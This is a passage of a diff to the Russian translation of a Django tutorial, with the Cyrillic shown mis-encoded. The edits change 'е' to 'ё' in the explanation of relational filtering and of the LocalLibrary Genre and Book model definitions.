-<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Β«ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌΒ» ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>ForeignKey</code>). Π’ этом случаС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β«ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ» поля Π² связанной ΠΌΠΎΠ΄Π΅Π»ΠΈ с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ подчСркиваниями. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΆΠ°Π½Ρ€ΠΎΠ²Ρ‹ΠΌ рисунком, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ имя Π² ΠΏΠΎΠ»Π΅ ΠΆΠ°Π½Ρ€Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Β«ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌΒ» ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>ForeignKey</code>). Π’ этом случаС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β«ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ» поля Π² связанной ΠΌΠΎΠ΄Π΅Π»ΠΈ с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌΠΈ подчёркиваниями. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΆΠ°Π½Ρ€ΠΎΠ²Ρ‹ΠΌ рисунком, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ имя Π² ΠΏΠΎΠ»Π΅ ΠΆΠ°Π½Ρ€Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc.
</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символы подчСркивания (__) для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ уровням ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ (ForeignKey / ManyToManyField) ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ. НапримСр, ΠΊΠ½ΠΈΠ³Π°, ΠΈΠΌΠ΅ΡŽΡ‰Π°Ρ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹, опрСдСляСмая с использованиСм Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ связи Β«ΠΎΠ±Π»ΠΎΠΆΠΊΠ°Β», ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ имя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°: type__cover__name__exact = 'hard'.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символы подчёркивания (__) для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ уровням ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ (ForeignKey / ManyToManyField) ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ. НапримСр, ΠΊΠ½ΠΈΠ³Π°, ΠΈΠΌΠ΅ΡŽΡ‰Π°Ρ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹, опрСдСляСмая с использованиСм Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ связи Β«ΠΎΠ±Π»ΠΎΠΆΠΊΠ°Β», ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ имя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°: type__cover__name__exact = 'hard'.</p>
</div>
<p>БущСствуСт Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС возмоТностСй для запросов, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅ поиски ΠΎΡ‚ связанных ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ², Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ мСньшСго Π½Π°Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ Ρ‚. Π΄. Для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см. <a href="https://docs.djangoproject.com/en/2.2/topics/db/queries/">Making queries</a> (Django Docs, [EN]).</p>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ_LocalLibrary">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ LocalLibrary</h2>
-<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠΎΠ΄Π΅Π»ΠΈ для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <em>models.py (Π² / locallibrary / catalog /)</em>. Π¨Π°Π±Π»ΠΎΠ½ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ класс модСли <code>models.Model</code>, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ наши ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠΎΠ΄Π΅Π»ΠΈ для Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <em>models.py (Π² / locallibrary / catalog /)</em>. Π¨Π°Π±Π»ΠΎΠ½ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ класс модСли <code>models.Model</code>, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ наши ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<pre class="brush: python notranslate">from django.db import models
@@ -261,7 +261,7 @@ number_wild_books = Book.objects.filter(title__contains='wild').count()
<h3 id="МодСль_ΠΆΠ°Π½Ρ€Π°">МодСль ΠΆΠ°Π½Ρ€Π°</h3>
-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Genre </code>ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ вашСго Ρ„Π°ΠΉΠ»Π° <code>models.py</code>.Β Π­Ρ‚Π° модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΊΠ½ΠΈΠ³ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ худоТСствСнная ΠΈΠ»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ, Ρ€ΠΎΠΌΠ°Π½ ΠΈΠ»ΠΈ Π²ΠΎΠ΅Π½Π½ΠΎ-историчСская ΠΈ Ρ‚. Π΄. Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ создали ΠΆΠ°Π½Ρ€ ΠΊΠ°ΠΊ модСль, Π° Π½Π΅ ΠΊΠ°ΠΊ свободный тСкст ΠΈΠ»ΠΈ список Π²Ρ‹Π±ΠΎΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния ΠΌΠΎΠ³Π»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π½Π΅ Π±Ρ‹Π»ΠΈΒ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ.</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Genre </code>ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ вашСго Ρ„Π°ΠΉΠ»Π° <code>models.py</code>.Β Π­Ρ‚Π° модСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΊΠ½ΠΈΠ³ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ худоТСствСнная ΠΈΠ»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ, Ρ€ΠΎΠΌΠ°Π½ ΠΈΠ»ΠΈ Π²ΠΎΠ΅Π½Π½ΠΎ-историчСская ΠΈ Ρ‚. Π΄. Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, ΠΌΡ‹ создали ΠΆΠ°Π½Ρ€ ΠΊΠ°ΠΊ модСль, Π° Π½Π΅ ΠΊΠ°ΠΊ свободный тСкст ΠΈΠ»ΠΈ список Π²Ρ‹Π±ΠΎΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния ΠΌΠΎΠ³Π»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π½Π΅ Π±Ρ‹Π»ΠΈΒ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ.</p>
<pre class="brush: python notranslate">class Genre(models.Model):
Β  Β  """
@@ -275,11 +275,11 @@ number_wild_books = Book.objects.filter(title__contains='wild').count()
Β  Β  Β  Β  """
Β  Β  Β  Β  return self.name</pre>
-<p>МодСль ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ <code>CharField</code> field (имя), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΆΠ°Π½Ρ€Π° (ΠΎΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ 200 символами ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <code>help_text</code>. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΌΡ‹ объявляСм ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>__str__()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя ΠΆΠ°Π½Ρ€Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ записью. Verbose name Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, поэтому ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ <code>Name</code> Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
+<p>МодСль ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ <code>CharField</code> field (имя), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΆΠ°Π½Ρ€Π° (ΠΎΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ 200 символами ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <code>help_text</code>. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΌΡ‹ объявляСм ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>__str__()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя ΠΆΠ°Π½Ρ€Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ записью. Verbose name Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, поэтому ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ <code>Name</code> Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
<h3 id="МодСль_книги">МодСль книги</h3>
-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ модСль ΠΊΠ½ΠΈΠ³ΠΈ Π½ΠΈΠΆΠ΅ ΠΈ снова Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π΅ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π°. МодСль ΠΊΠ½ΠΈΠ³ΠΈ прСдставляСт всю ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступной ΠΊΠ½ΠΈΠ³Π΅ Π² ΠΎΠ±Ρ‰Π΅ΠΌ смыслС, Π½ΠΎ Π½Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ физичСский «экзСмпляр» ΠΈΠ»ΠΈ «копию» для Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ использования. МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ CharField для прСдставлСния названия ΠΊΠ½ΠΈΠ³ΠΈ ΠΈ isbn (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ isbn ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ свой ярлык ΠΊΠ°ΠΊ Β«ISBNΒ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π½Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ярлык ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±Ρ‹Π» Π±Ρ‹ Β«IsbnΒ»). МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ TextField для summary, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ этот тСкст, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ.</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ модСль ΠΊΠ½ΠΈΠ³ΠΈ Π½ΠΈΠΆΠ΅ ΠΈ снова Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‘ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π°. МодСль ΠΊΠ½ΠΈΠ³ΠΈ прСдставляСт всю ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступной ΠΊΠ½ΠΈΠ³Π΅ Π² ΠΎΠ±Ρ‰Π΅ΠΌ смыслС, Π½ΠΎ Π½Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ физичСский «экзСмпляр» ΠΈΠ»ΠΈ «копию» для Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ использования. МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ CharField для прСдставлСния названия ΠΊΠ½ΠΈΠ³ΠΈ ΠΈ isbn (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ isbn ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ свой ярлык ΠΊΠ°ΠΊ Β«ISBNΒ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π½Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ярлык ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±Ρ‹Π» Π±Ρ‹ Β«IsbnΒ»). МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ TextField для summary, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ этот тСкст, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ.</p>
<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns
@@ -313,13 +313,13 @@ class Book(models.Model):
<p>Π–Π°Π½Ρ€ прСдставляСт ΠΈΠ· сСбя ManyToManyField, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько ΠΆΠ°Π½Ρ€ΠΎΠ², Π° ΠΆΠ°Π½Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠ½ΠΈΠ³. Автор ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Ρ‡Π΅Ρ€Π΅Π· ForeignKey, поэтому Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π°Π²Ρ‚ΠΎΡ€, Π½ΠΎ Ρƒ Π°Π²Ρ‚ΠΎΡ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠ½ΠΈΠ³ (Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΊΠ½ΠΈΠ³Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Π½ΠΎ Π½Π΅ Π² Ρ‚Π°ΠΊΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ!)</p>
-<p>Π’ ΠΎΠ±ΠΎΠΈΡ… Ρ‚ΠΈΠΏΠ°Ρ… ΠΏΠΎΠ»Π΅ΠΉ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ класс ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π½Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΠ±ΠΎ класс ΠΌΠΎΠ΄Π΅Π»ΠΈ, Π»ΠΈΠ±ΠΎ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ имя ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊ строку, Ссли связанный класс Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² этом Ρ„Π°ΠΉΠ»Π΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½! Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ интСрСс для поля Π°Π²Ρ‚ΠΎΡ€Π°, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <code>null=True</code>, котороС позволяСт Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Null</code>Β , Ссли Π°Π²Ρ‚ΠΎΡ€ Π½Π΅ 